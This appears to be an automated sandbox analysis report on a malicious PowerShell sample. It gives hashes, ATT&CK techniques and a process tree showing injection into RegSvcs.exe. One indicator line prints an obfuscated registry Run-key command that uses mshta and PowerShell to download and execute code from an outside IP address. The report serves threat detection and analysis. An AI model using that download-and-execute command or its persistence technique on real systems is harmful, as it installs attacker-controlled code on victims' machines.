eb3dcd88e0145312a0722fca50f46270369271d99aadf16be24b414adf037e32

General

Target
176.113.115_1.225.ps1
Size 110KB
Sample250127-sejcvsvlbm
SHA256 eb3dcd88e0145312a0722fca50f46270369271d99aadf16be24b414adf037e32
MD5 f486c8bc397b52fc7646a5e8b96bb550
SHA1 034be8ab6213ec59c850b76dfaaf23e6a0eb5b12
SHA512 cbd47d010a20cea006bc7e48a05c8e35ab140a805d156fb2e2fe0d3c66651f5ab1b864c6b25cf419477d3ee84619fd8fb8f1725810938623208582a9b403b93d
SSDEEP 3072:ZcUKZ20H5qt7ABLmYOlba6c5GdOa7MQrq3v0ayW3sfc4xDAmMz/zlZVdtj0Qq5+s:ZcB20H5qt7ABLmYOlba6c5GdOa7MQrqU
MD5 SHA1 SHA512 SSDEEP

Score

6^/10

discovery execution persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta vbscript:close(CreateObject(\"WScript.Shell\").Run(\"powershell $L='(New-Object Net.We';$Y='bClient).Downlo';$V='adString(''http://176.113.115.225/b.jpg'')';$F=I`E`X ($L,$Y,$V -Join '')\|I`E`X\",0))"	RegSvcs.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1204 set thread context of 4648	1204	powershell.exe	83

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1204	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wermgr.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	wermgr.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	wermgr.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1204	powershell.exe
1204	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1204	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1204 wrote to memory of 4648	1204	powershell.exe	83
PID 1204 wrote to memory of 4648	1204	powershell.exe	83
PID 1204 wrote to memory of 4648	1204	powershell.exe	83
PID 1204 wrote to memory of 4648	1204	powershell.exe	83
PID 1204 wrote to memory of 4648	1204	powershell.exe	83
PID 1204 wrote to memory of 4648	1204	powershell.exe	83
PID 1204 wrote to memory of 4648	1204	powershell.exe	83
PID 1204 wrote to memory of 4648	1204	powershell.exe	83
PID 1204 wrote to memory of 4776	1204	powershell.exe	84
PID 1204 wrote to memory of 4776	1204	powershell.exe	84

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\176.113.115_1.225.ps1
1⤵
- Suspicious use of SetThreadContext
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1204
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
  2⤵
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  PID:4648
- C:\Windows\system32\wermgr.exe
  "C:\Windows\system32\wermgr.exe" "-outproc" "0" "1204" "2216" "2148" "2180" "0" "0" "2220" "0" "0" "0" "0" "0"
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  PID:4776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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__PSScriptPolicyTest_d5r2zfoy.zw1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d5r2zfoy.zw1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/1204-0-0x00007FFAA2AA3000-0x00007FFAA2AA5000-memory.dmp

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memory/1204-6-0x0000022AEA020000-0x0000022AEA042000-memory.dmp

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memory/1204-11-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

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memory/1204-12-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

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memory/1204-13-0x0000022AEA170000-0x0000022AEA188000-memory.dmp

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memory/1204-14-0x0000022AEA190000-0x0000022AEA196000-memory.dmp

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memory/1204-18-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

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memory/1204-27-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

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memory/4648-15-0x0000000000400000-0x0000000000408000-memory.dmp

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memory/4648-22-0x000000007509E000-0x000000007509F000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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